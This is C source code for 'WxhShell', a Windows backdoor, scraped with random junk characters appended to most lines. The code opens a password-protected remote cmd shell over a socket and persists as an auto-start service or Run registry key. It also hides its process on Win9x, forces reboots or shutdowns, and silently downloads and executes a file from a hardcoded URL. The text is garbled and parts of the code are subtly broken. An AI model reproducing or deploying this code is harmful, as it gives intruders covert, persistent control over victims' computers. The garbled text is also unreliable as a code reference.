    break; C-}@.wr(  
    } S{0iPdUC  
  // 关机 PX} ~  
  case 'd': { nB &[R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z>6hK:27  
    if(Boot(SHUTDOWN)) 4GN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #hQ#_7  
    else { NKSK+ll2  
    closesocket(wsh); ;UAi>//#   
    ExitThread(0); Qvx[F:#Tk  
    } P4VMGP  
    break; )Z"  
    } zUIh^hbFf  
  // 获取shell [Zpx :r}  
  case 's': { ~0 PR>QJ  
    CmdShell(wsh); 4ZX6=-u^  
    closesocket(wsh); _=\J:r|Y:  
    ExitThread(0);  EL$"/ptE  
    break; \Zgc [F  
  } %$*WdK#  
  // 退出 }3TTtd7  
  case 'x': { $!ATj`}kb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V?zCON  
    CloseIt(wsh); T[L7-5U0  
    break; I&Z4?K  
    } Rt9S  
  // 离开 '|7'dlW  
  case 'q': { FB>^1B]]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *M]@}'N  
    closesocket(wsh); jR_o!n~5  
    WSACleanup(); r3BQo[ 't  
    exit(1); y"L7.B  
    break; og~Uv"&?T  
        } Po1/_# mu  
  } 0XWhSrHM  
  } mH,L,3R;R  
JS^QfT,zE  
  // 提示信息 ceUhCb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qk *b,`;  
} l2*o@&.  
  } L|*0 A=6  
Dga;GYx  
  return; (X3}&aLF  
} 9 \lSN5W  
? koIZ  
// shell模块句柄 k0(_0o  
int CmdShell(SOCKET sock) ;_oJGII?br  
{ i>aIuQ`pe  
STARTUPINFO si; I)AbH<G{  
ZeroMemory(&si,sizeof(si)); n([9U0!gu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )s~szmJoVD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;]PP +h  
PROCESS_INFORMATION ProcessInfo; v(`9+*  
char cmdline[]="cmd"; 1Uaj}= @M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5@-[[ $dk  
  return 0; >3qfo2K 0  
} csd~)a nb  
GD -cP5$  
// 自身启动模式 >oGs0mej  
int StartFromService(void) =A]*r9  
{ sd,KB+)  
typedef struct WcOnv'l,  
{ +.2O Z3(  
  DWORD ExitStatus; Q ^{XM  
  DWORD PebBaseAddress; 7@NV|Idtd  
  DWORD AffinityMask; /Pyj|!C3`q  
  DWORD BasePriority; !zZ3F|+HB  
  ULONG UniqueProcessId; 8t5o&8v  
  ULONG InheritedFromUniqueProcessId; r?$ V;Z  
}   PROCESS_BASIC_INFORMATION; QnTKo&|9  
4Nl3"@<$  
PROCNTQSIP NtQueryInformationProcess; "sUjJ|  
*Tum(wWZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Iy#=Nq=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5XzN%<_h9  
d2U+%%Tdw  
  HANDLE             hProcess; L&,&SDr  
  PROCESS_BASIC_INFORMATION pbi; ]pq(Q:"P,5  
uefrE53  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9-"!v0['  
  if(NULL == hInst ) return 0; +/n<]?(T  
I R|[&}z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HPc~wX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yBl9a-2A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |r+w(TG  
`Iqh\oY8-  
  if (!NtQueryInformationProcess) return 0; |*%i]@V=  
HD YWDp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Mpx98xcO  
  if(!hProcess) return 0; Kn*LwWne  
5kik+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `Fx+HIng,  
H#/Hs#  
  CloseHandle(hProcess); ;-Ki`x.oJ  
~Z:)Y*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ufn% sA  
if(hProcess==NULL) return 0; N#p%^GH  
\OW.?1d  
HMODULE hMod; ^u:bgwP  
char procName[255]; :Xs3Vh,V  
unsigned long cbNeeded; U62Z ?nge%  
| r,{#EE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Nil nS!BM  
BIXbdo5F  
  CloseHandle(hProcess); }1EtM/Ni{!  
EYRg,U&'  
if(strstr(procName,"services")) return 1; // 以服务启动 sH.,O9'r  
JLak>MS  
  return 0; // 注册表启动 "9X1T]  
} f7b6!R;z_  
:X}fXgeL  
// 主模块 qH4+i STnV  
int StartWxhshell(LPSTR lpCmdLine) t"nxny9&  
{ 7nPjeh  
  SOCKET wsl; va2FgW`Bd+  
BOOL val=TRUE; ,*.qa0E#W  
  int port=0; &,tj.?NCn  
  struct sockaddr_in door; DEW;0ic  
Q%:Z&lg y  
  if(wscfg.ws_autoins) Install(); %uz6iQaq]X  
UCo`l~K)qg  
port=atoi(lpCmdLine); Z]XjN@j"  
~7w LnB  
if(port<=0) port=wscfg.ws_port; wlFK#iK  
&N*l?7(  
  WSADATA data; c"diNbm[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ! NJGW  
TDX~?> P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +45.fo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '?Xf(6o1  
  door.sin_family = AF_INET; ^fj30gw7\5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A_Y5{6@  
  door.sin_port = htons(port); Oe21noL  
`Y3\R#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O4cBn{Dq9  
closesocket(wsl); sD$K<nyz  
return 1; b$sT`+4q  
} L;=3n[^x  
K!8l!FFl  
  if(listen(wsl,2) == INVALID_SOCKET) { pf&U$oR4  
closesocket(wsl); N%S|Ey@f   
return 1; 8~sC$sIlE  
} >FS}{O2c  
  Wxhshell(wsl); Rh%A^j@  
  WSACleanup(); L]q%;u]8!  
P8[k1"c!  
return 0; \A6 }=  
_ BoA&Ism  
} ]:}7-;$V  
iD<}r?Z  
// 以NT服务方式启动 sB!6"D5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :<v@xOzxx  
{ YIF|8b\  
DWORD   status = 0; aTkMg  
  DWORD   specificError = 0xfffffff; CIVV"p`}  
oA8A @,-L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h!`KX2~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yQ !keGj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N|%X/UjZ2.  
  serviceStatus.dwWin32ExitCode     = 0;  `7oYXk  
  serviceStatus.dwServiceSpecificExitCode = 0; _zkTx7H  
  serviceStatus.dwCheckPoint       = 0; *xN?5u%  
  serviceStatus.dwWaitHint       = 0;  +F~B"a  
:kC*<f\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !+DhH2;)F  
  if (hServiceStatusHandle==0) return; I%{ 1K+V/  
LfJMSscfv  
status = GetLastError(); S0ReT*I  
  if (status!=NO_ERROR) OVE?;x>n/1  
{ |xT'+~u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?7"v~d]>  
    serviceStatus.dwCheckPoint       = 0; w,j;XPp  
    serviceStatus.dwWaitHint       = 0; ,hZ?]P&  
    serviceStatus.dwWin32ExitCode     = status; y(O~=S+<  
    serviceStatus.dwServiceSpecificExitCode = specificError; wScr:o+K>L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wEw;],ur  
    return; yH9&HFDp  
  } e-nwR  
$RYOj{1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R[rOzoNp0  
  serviceStatus.dwCheckPoint       = 0; FH{p1_kZ=  
  serviceStatus.dwWaitHint       = 0; Lj/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (C.aQ)|T  
} Fzt7@VNxc  
$-.*8*9  
// 处理NT服务事件,比如:启动、停止 TPLv]$n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O)"Z%B  
{ lYey7tl{  
switch(fdwControl) DPCQqV|7  
{ iba8G]2  
case SERVICE_CONTROL_STOP: z /nW; ow  
  serviceStatus.dwWin32ExitCode = 0; gGx<k3W^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ND/oKM+?  
  serviceStatus.dwCheckPoint   = 0; h gu\~}kD  
  serviceStatus.dwWaitHint     = 0; Gzwb<e y  
  { .*Bd'\:F/q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~%h&ELSw  
  } J ~KygQ3%  
  return; v5&W)F  
case SERVICE_CONTROL_PAUSE: KL*+gq0k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ge1U1o  
  break; (hh^?  
case SERVICE_CONTROL_CONTINUE: 9Q1w$t~Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N,.awA{  
  break; .HRd6O;  
case SERVICE_CONTROL_INTERROGATE: iBmvy 7S?  
  break; 8"A0@fNz  
}; +11 oVW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KUC%Da3  
} "rVM23@ tq  
Asy2jw\V  
// 标准应用程序主函数 D={$l'y9p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ],vid1E  
{ 2`> (LH  
w ~^{V4V  
// 获取操作系统版本 or bz`IQc  
OsIsNt=GetOsVer(); JSx[V<7m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7PwH&rI  
Ocz21gl-?`  
  // 从命令行安装 *_]fe&s=%  
  if(strpbrk(lpCmdLine,"iI")) Install(); $.31<@T7  
'v=BAY=Ef  
  // 下载执行文件 ap,zC)[  
if(wscfg.ws_downexe) { MZqHL4<|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,XI=e=  
  WinExec(wscfg.ws_filenam,SW_HIDE); D_G]WW8  
} gZ-:4G|J  
0.c9 6&  
if(!OsIsNt) { Sy<io@df  
// 如果时win9x,隐藏进程并且设置为注册表启动 rbs&A{i  
HideProc(); uo*lW2&U  
StartWxhshell(lpCmdLine); Q.\vN-(  
} ~M1T @Mv  
else HGi%b5:<=M  
  if(StartFromService()) t3C#$ >  
  // 以服务方式启动 q^7=/d8  
  StartServiceCtrlDispatcher(DispatchTable); 9$}> O]  
else :XTxrYt28  
  // 普通方式启动 &Aym@G|k?  
  StartWxhshell(lpCmdLine); [E"3 ?p  
nFe  
return 0; = )4bf"~8  
} 8#9OSupp  
"{3MXAFe  
;Wsl 'e/  
]\]mwvLT  
=========================================== ymT]ow6C  
prB:E[1  
8#4Gs Q"  
um\A  
L`fT;2  
}WF6w+  
" bjN"H`Q  
vV*/"'>  
#include <stdio.h> JeAyT48!M  
#include <string.h> wRq f'  
#include <windows.h> FI)0.p  
#include <winsock2.h> !!m GsgnW  
#include <winsvc.h> F5M{`:/  
#include <urlmon.h> 8%xiHPVg  
~ H"-km"@  
#pragma comment (lib, "Ws2_32.lib") ey\(*Tu9  
#pragma comment (lib, "urlmon.lib") Hq>rK`  
O* )BJOPa  
#define MAX_USER   100 // 最大客户端连接数 Zm(}~C29  
#define BUF_SOCK   200 // sock buffer Uo[`AzD3  
#define KEY_BUFF   255 // 输入 buffer Ye^xV,U@  
Q8h=2YL  
#define REBOOT     0   // 重启 9WHarv2@  
#define SHUTDOWN   1   // 关机 ]eX(K5 A  
[|YJg]i-  
#define DEF_PORT   5000 // 监听端口 H>"P]Y)oX  
wy:euKB~   
#define REG_LEN     16   // 注册表键长度 ?ZkVk=t?  
#define SVC_LEN     80   // NT服务名长度 `8TL*.9  
E~8J<g E  
// 从dll定义API z5sKV7&\[n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -qLNs_ _k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jq+@%#G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @[n%q.|VB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EJJ&`,q  
B*^QTJ  
// wxhshell配置信息 %;J$ h^  
struct WSCFG { N ]GF>kf:  
  int ws_port;         // 监听端口 cCIs~*D  
  char ws_passstr[REG_LEN]; // 口令 +!G)N~o  
  int ws_autoins;       // 安装标记, 1=yes 0=no MW=rX>tE  
  char ws_regname[REG_LEN]; // 注册表键名 tMo=q7ig  
  char ws_svcname[REG_LEN]; // 服务名 APU~y5vG (  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k_Lv\'Ok  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HD z"i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9'KOc5@l^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =S\pI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lg 1r]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8P&z@E{y  
Qr?(2t#  
}; 0.1?hb|p5T  
9D yy&$s  
// default Wxhshell configuration q@Zeu\T,*#  
struct WSCFG wscfg={DEF_PORT, nzU0=w}V  
    "xuhuanlingzhe", 59?$9}ob  
    1, 9FF  
    "Wxhshell", ^a#W|-:  
    "Wxhshell", 4hn' b[  
            "WxhShell Service", ntZHO}'  
    "Wrsky Windows CmdShell Service", a!PN`N28  
    "Please Input Your Password: ", } OkK@8?0O  
  1, /EL3Tt  
  "http://www.wrsky.com/wxhshell.exe", ?Uhjyi  
  "Wxhshell.exe" E clsOBg  
    }; 3p'(E\VJ  
2 F ~SH  
// 消息定义模块 ,rhNXx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %B| Ca&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <S0gIg`)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NF7+Gp6?q  
char *msg_ws_ext="\n\rExit."; $@[Mo   
char *msg_ws_end="\n\rQuit."; R5<:3tk=X  
char *msg_ws_boot="\n\rReboot..."; |lVi* 4za%  
char *msg_ws_poff="\n\rShutdown..."; vnX~OVz2  
char *msg_ws_down="\n\rSave to "; ZPHatC  
$- GwNG  
char *msg_ws_err="\n\rErr!"; S^~ lQ|D  
char *msg_ws_ok="\n\rOK!"; qc6d,z/  
\u6/nvZ]N  
char ExeFile[MAX_PATH]; 6{ pg^K  
int nUser = 0; jYW-}2L  
HANDLE handles[MAX_USER]; 2JHV*/Q  
int OsIsNt; !'=< uU-  
i"{znKz vD  
SERVICE_STATUS       serviceStatus; >}86#^F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  j 2e|  
P> 7PO~E.  
// 函数声明 U^OR\=G^  
int Install(void); )N&95\ u  
int Uninstall(void); ; VQ:\f G  
int DownloadFile(char *sURL, SOCKET wsh); L0ZAF2O  
int Boot(int flag); &=lh Kt  
void HideProc(void); y"ms;w'z  
int GetOsVer(void); u/5)Yx+5_  
int Wxhshell(SOCKET wsl); DF"*[]^[  
void TalkWithClient(void *cs); So#>x5dL  
int CmdShell(SOCKET sock); z>spRl,dr  
int StartFromService(void); >W'"xK|:  
int StartWxhshell(LPSTR lpCmdLine); 8`q"] BQN  
No]#RvEd3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oCB#i~|>a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w5a;ts_x  
<@qJsRbhK  
// 数据结构和表定义 h9+ 7 6  
SERVICE_TABLE_ENTRY DispatchTable[] = <{.pYrn  
{ H`T}k+e2-N  
{wscfg.ws_svcname, NTServiceMain}, wgZ6|)!0  
{NULL, NULL} /tqe:*  
}; $XrX(l5  
Y,X0x-  
// 自我安装  e:6mz\J  
int Install(void) lq)[  
{ cUU"*bA#  
  char svExeFile[MAX_PATH]; {JW_ZJx  
  HKEY key; 9 NqZ&S  
  strcpy(svExeFile,ExeFile); 4aG}ex-s|  
w-``kID  
// 如果是win9x系统,修改注册表设为自启动 Oi~.z@@  
if(!OsIsNt) { L>,xG.oG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M =GF@C;b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (}CA?/  
  RegCloseKey(key); "D ivsq^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0y/P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iM{cr&0  
  RegCloseKey(key); <;NxmO<%\  
  return 0; :Y&h'FGZm  
    } F=$U.K~1?  
  } .c_qMTm"  
} r6}-EYq=  
else { |TuFx=~5v  
.WW|v  
// 如果是NT以上系统,安装为系统服务 \0^Je>-:U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !A"-9OS2  
if (schSCManager!=0) ^L's45&_  
{ !GZ{UmwA  
  SC_HANDLE schService = CreateService 'zYx4&s  
  ( rF . Oo0  
  schSCManager, [3(lk_t  
  wscfg.ws_svcname, f`p"uLNo<  
  wscfg.ws_svcdisp, HO39>:c  
  SERVICE_ALL_ACCESS, $eh>.c'&]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , us^J! s7  
  SERVICE_AUTO_START, c nV2}U/\  
  SERVICE_ERROR_NORMAL, 'k9 1;T[  
  svExeFile, 6/L34VH  
  NULL, 7 9ZYRm2;  
  NULL,  lmB+S  
  NULL, O)}5`0@L  
  NULL, =2, iNn  
  NULL -2y>X`1Y  
  ); B%KfB VC  
  if (schService!=0) w'P!<JaZ  
  { h7>`:~  
  CloseServiceHandle(schService); ~01Fp;L/  
  CloseServiceHandle(schSCManager); mvGj !'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i8` 0-  
  strcat(svExeFile,wscfg.ws_svcname); stlkt>9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DX8pd5 U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @%$<,$=  
  RegCloseKey(key); h,P#)^"  
  return 0; {8J+ Y}  
    } ,+E"s3NW  
  } zT jk^  
  CloseServiceHandle(schSCManager); b$eZ>X  
} SR { KL#NC  
} hSSFmEpr  
hN.{H:skL)  
return 1; hx sW9  
} + Scw;gO  
R(DlJ  
// 自我卸载 Z=>#|pW,)  
int Uninstall(void) WB=|Ty ~l  
{ .V|o-~c  
  HKEY key; J, vEZT<Mt  
6?KJ"Ai9  
if(!OsIsNt) { B}Sl1)E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VY'1 $  
  RegDeleteValue(key,wscfg.ws_regname); *W=R:Bl!  
  RegCloseKey(key); C2W&*W*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3X}>_tj  
  RegDeleteValue(key,wscfg.ws_regname); g;G.uF&  
  RegCloseKey(key); ,$; pLjo6  
  return 0; vrvOPLiQ  
  } wm_o(Z}  
} dzyp:\&9  
} R3@$ao  
else { !;;WS~no3  
0^&-j.9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MbjMO"}  
if (schSCManager!=0) i?CXDuL  
{ }`$Sr&n 1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .wz.Jr`{  
  if (schService!=0) S(h+,+289  
  { \>r<z46x  
  if(DeleteService(schService)!=0) { %v 1NDhaXz  
  CloseServiceHandle(schService); 53X5&Bwh  
  CloseServiceHandle(schSCManager); ^jZ4tH3K  
  return 0; SpiI9)gp  
  } 3+2cD  
  CloseServiceHandle(schService); m8<l2O=m  
  } /l$>W<}@  
  CloseServiceHandle(schSCManager);  K na  
} JO"-"&>  
} sc &S0K  
e-e*%  
return 1; ,xsFBNCC  
} )%]`uj>*[  
2/V9Or 52  
// 从指定url下载文件 ![4<6/2gy  
int DownloadFile(char *sURL, SOCKET wsh) ) v^;"q"  
{ qx<h rC0Z&  
  HRESULT hr; \*k}RKDwT  
char seps[]= "/"; eNw9"X}g  
char *token; @XFy^?  
char *file; r__Y{&IO  
char myURL[MAX_PATH]; =dT sGNz  
char myFILE[MAX_PATH]; %vFoTu)2  
i$!-mYi+Q!  
strcpy(myURL,sURL); kA%"-$3  
  token=strtok(myURL,seps); CP!>V:w%9!  
  while(token!=NULL) $d _%7xx  
  { {P@OV1  
    file=token; U<H< !NV  
  token=strtok(NULL,seps); yCT:U&8%F  
  } 6`Af2Y_  
[<p7'n3x  
GetCurrentDirectory(MAX_PATH,myFILE); DKxzk~sOM  
strcat(myFILE, "\\"); XK t">W  
strcat(myFILE, file); tW |K\NL  
  send(wsh,myFILE,strlen(myFILE),0); sX$EdIq  
send(wsh,"...",3,0); yYM_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2dUVHu= +  
  if(hr==S_OK) 'CSIC8M<j  
return 0; (R)(%I1Oz  
else O4i5 fVy{  
return 1; 98AX=%8  
N]6M4j!  
} szx7CP`<8  
W4~:3 Sk  
// 系统电源模块 Ot#O];3  
int Boot(int flag) `$odxo+  
{ G 0;5I_D/  
  HANDLE hToken; dy%#E2f  
  TOKEN_PRIVILEGES tkp; ypK1 sw  
NWq>Z!x`  
  if(OsIsNt) { lYq4f|5H}m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s9'lw'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Mk~]0d  
    tkp.PrivilegeCount = 1; "]M]pR/j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PA(XdT{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Vx6/Rehj  
if(flag==REBOOT) { {2Jn#&Z29  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UfUboxT  
  return 0; Eu^? e  
} 5s'oVO*hW  
else { {q-<1|xj/J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "Wz#<! .r  
  return 0; . w_oWmD  
} F qW[L>M'  
  } R|Lr@k{6+r  
  else { 05cyWg9a  
if(flag==REBOOT) { - s,M+Q(<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U3f a *D  
  return 0; =6sL}$  
} Pgg\(D#X`  
else { ub0uxvz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gI SP .  
  return 0; ?4 fXCb]7  
} NlS/PWc6(  
} ] 3@.)  
}bxW@(bs  
return 1; 8 ;C_@  
} x!08FL)  
lnk`D(>W  
// win9x进程隐藏模块 Gz9w1[t  
void HideProc(void) `N69xAiy  
{ A1A/OU<Vb  
[?vn>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |%@.@c  
  if ( hKernel != NULL ) D/ SM/  
  { $\ 0d9^)&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -!k$ Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g{}{gBplnl  
    FreeLibrary(hKernel); DKG%z~R*  
  } ?{OB+f}Mo  
A@kp` -  
return; .%pbKi `  
} $YX\&%N  
'F- wC!  
// 获取操作系统版本 8RfFP\AP  
int GetOsVer(void) Vg0$5@  
{ zIyMq3  
  OSVERSIONINFO winfo; >J]^Rgn>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^MUSq(  
  GetVersionEx(&winfo); ;;2Yfn'`9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RvQl{aL  
  return 1; 2$g3ABfV  
  else i8\&J.  
  return 0; 0?tn.<'B8T  
} 7eh<>X!TX  
?5A!/`E&%  
// 客户端句柄模块 ,&1DKx  
int Wxhshell(SOCKET wsl) 9bL`0L  
{ /"Bm1  
  SOCKET wsh; j}2,|9ne  
  struct sockaddr_in client; =X0"!y"  
  DWORD myID; YM idSfi  
me+F0:L  
  while(nUser<MAX_USER) CO` %eL ~  
{ V?a+u7*U&  
  int nSize=sizeof(client); b0A*zQA_)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UKBVCAK  
  if(wsh==INVALID_SOCKET) return 1; }w0>mA0=H  
xMAfa>]{n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Iq@:n_~  
if(handles[nUser]==0) _\9|acFT2O  
  closesocket(wsh); q\P"AlpC!  
else LG0z|x(  
  nUser++; [84f[`!Ui  
  } ]ZQ3|ZJ?<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "QWF&-kAI  
=,/08Cs  
  return 0; D{]t50a.  
} ~JJuM  
GvL)SVv?  
// 关闭 socket E,F'k2yU  
void CloseIt(SOCKET wsh) 1 h.=c  
{ )}-,4Iu%  
closesocket(wsh); P,2FH2Eyj  
nUser--; Hqel1J  
ExitThread(0); ;^q@w  
} j{i3lGaN  
7gLN7_2  
// 客户端请求句柄 : "|M  
void TalkWithClient(void *cs) 1e 8J-Nkj  
{ T+OQa+E@P  
\,-t]$9  
  SOCKET wsh=(SOCKET)cs; "Dc6kn^}3  
  char pwd[SVC_LEN]; $c!cO" U  
  char cmd[KEY_BUFF]; 2{v$GFc/  
char chr[1]; TTS.wBpR,  
int i,j; w"Q6'/P  
JMMT886  
  while (nUser < MAX_USER) { U4J9b p|  
|mSFa8G@  
if(wscfg.ws_passstr) { Q-3o k7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h}X^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ? 1OZEzA!  
  //ZeroMemory(pwd,KEY_BUFF); /B $9B  
      i=0; `aj;FrF  
  while(i<SVC_LEN) { J33enQd  
vtvF)jlX  
  // 设置超时 ZfPWH'P  
  fd_set FdRead; ionFPc].  
  struct timeval TimeOut; Sn I-dXNF  
  FD_ZERO(&FdRead); i@=0fHiZQ  
  FD_SET(wsh,&FdRead); i`]-rM%J#  
  TimeOut.tv_sec=8; 8X6F6RK6,1  
  TimeOut.tv_usec=0; CCCd=s.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W 6_~.m"b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0Q81$% @<  
XYJ7k7zc+Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rOt`5_2f  
  pwd=chr[0]; C%$:Oq  
  if(chr[0]==0xd || chr[0]==0xa) { 7oPLO(0L  
  pwd=0; Y#>'.$ (Az  
  break; #J 1vN]g  
  } wABaNB=9;  
  i++; h L 1q9%  
    } cs]N%M^s  
O F$0]V  
  // 如果是非法用户,关闭 socket DrfOz#a0Uu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w4m -DR5  
} 3{gD'y4j  
*SW.K{{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?-40bb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |\yVnk!c  
9n#Q1Xq  
while(1) { G~SgI>Q  
%^e~;i=2  
  ZeroMemory(cmd,KEY_BUFF); [0M2`x4`  
4fK(<2i  
      // 自动支持客户端 telnet标准   > 3<P^-9L  
  j=0; ,/d R  
  while(j<KEY_BUFF) { CdxEY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4eZ  
  cmd[j]=chr[0]; [I4:R_\  
  if(chr[0]==0xa || chr[0]==0xd) { [(Z sQK  
  cmd[j]=0; T=/GFg'  
  break; qb^jcy  
  } 'hTA O1n8  
  j++; rTBrl[&,q'  
    } S,9}p 1  
8<,b5  
  // 下载文件 PNm WZW*  
  if(strstr(cmd,"http://")) { wA@y B"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c4]/{!4 Q  
  if(DownloadFile(cmd,wsh)) "A_,Ga  
